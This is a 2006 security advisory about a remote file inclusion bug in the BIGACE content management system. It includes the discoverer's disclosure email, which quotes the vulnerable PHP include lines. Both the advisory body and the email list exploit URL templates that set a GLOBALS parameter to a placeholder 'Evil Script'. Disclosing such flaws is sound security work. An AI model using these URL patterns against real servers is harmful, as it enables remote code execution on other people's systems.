BIGACE 'GLOBALS' Include File Bug Lets Remote Users Execute Arbitrary Code
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SecurityTracker Alert ID: 1016760
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SecurityTracker URL: http://securitytracker.com/id?1016760
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CVE Reference: CVE-2006-4423
(Links to External Site)
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Updated: Jun 8 2008
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Original Entry Date: Aug 28 2006
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Impact: Execution of arbitrary code via network, User access via network
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Exploit Included: Yes
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Version(s): 1.8.2, 1.9 alpha, possibly other versions
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Description: A vulnerability was reported in BIGACE. A remote user can include and execute arbitrary code on the target system.
The software does not properly validate user-supplied input. A remote user can supply a specially crafted URL to cause the target
system to include and execute arbitrary PHP code from a remote location. The PHP code, including operating system commands, will
run with the privileges of the target web service.
The 'download.cmd.php', 'admin.cmd.php', and 'upload_form.php' scripts are
affected.
http://[target]/[Bigace]/system/admin/include/item_main.php?GLOBALS=[Evil Script]
http://[target]/[Bigace]/system/admin/include/upload_form.php?GLOBALS=[E
vil Script]
http://[target]/[Bigace]/system/command/download.cmd.php?GLOBALS=[Evil Script]
http://[target]/[Bigace]/system/command/download.cmd.php?GLOBALS=[Evil
Script]
http://[target]/[Bigace]/system/command/admin.cmd.php?GLOBALS=[Evil Script]
Vampire discovered this vulnerability.
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Impact: A remote user can execute arbitrary PHP code and operating system commands on the target system with the privileges of the target web service.
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Solution: No solution was available at the time of this entry.
[Editor's note: It appears that at least one of the files (download.cmd.php)
was changed in CVS to no longer contain the vulnerable include functions. This change was made after the 1.9 alpha release. Other
files were not reviewed.]
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Vendor URL: bigace.kevinpapst.de/ (Links to External Site)
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Cause: Input validation error, State error
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Underlying OS: Linux (Any), UNIX (Any), Windows (Any)
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Reported By: vampire_chiristof@yahoo.com
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Message History:
None.
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Source Message Contents
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Date: 26 Aug 2006 08:14:15 -0000
From: vampire_chiristof@yahoo.com
Subject: Bigace 1.8.2 (GLOBALS) Remote File Inclusion
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Author : Vampire
Location : Iran - Tehran
HomePage : http://www.hackerz.ir
Email : Vampire_chiristof[at]yahoo[dot]com
Critical Level : Dangerous
------------------------------------------------------------------------
---------------
Affected Software Description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Application : Bigace
version : 1.8.2
URL : http://Bigace.sourceforge.net
------------------------------------------------------------------------
---------------
Vulnerability:
~~~~~~~~~~~~~
in download.cmd.php , admin.cmd.php , upload_form.php We Found Vulnerability Script
----------------------------------------admin.cmd.php-----------------------
---------------
....
<?php
require_once($GLOBALS['_BIGACE']['DIR']['admin'].'styling.php');
require_once($GLOBALS['_BIGACE']['DIR']['admin'].'functions.inc.php');
include_once($GLOBALS['_BIGACE']['DIR']['libs'].'io.inc.php');
?>
...
----------------------------------------download.cmd.php-----------------------
---------------
....
<?php
include_once($GLOBALS['_BIGACE']['DIR']['libs'].'io.inc.php');
?>
...
----------------------------------------upload_form.php-----------------------
---------------
....
<?php
require_once($GLOBALS['_BIGACE']['DIR']['admin'].'include/mode_constants.php');
?>
...
----------------------------------------item_main.php-----------------------
---------------
....
<?php
require_once($GLOBALS['_BIGACE']['DIR']['admin'].'include/mode_constants.php');
?>
...
Exploit:
~~~~~~~
http://www.target.com/[Bigace]/system/admin/include/item_main.php?GLOBALS=[Evil Script]
http://www.target.com/[Bigace]/system/admin/include/upload_form.php?GLOBALS=[Evil Script]
http://www.target.com/[Bigace]/system/command/download.cmd.php?GLOBALS=[Evil Script]
http://www.target.com/[Bigace]/system/command/download.cmd.php?GLOBALS=[Evil Script]
http://www.target.com/[Bigace]/system/command/admin.cmd.php?GLOBALS=[Evil Script]
Solution:
~~~~~~~~
Sanitize Variabel $GLOBALS in download.cmd.php , admin.cmd.php , item_main.php , upload_form.php
------------------------------------------------------------------------
----------------
Shoutz:
~~~~~~
~ Special Greetz to My Best Friends Cephexin , Sh3ll , MFOX , Alijbs and All Real Hackers
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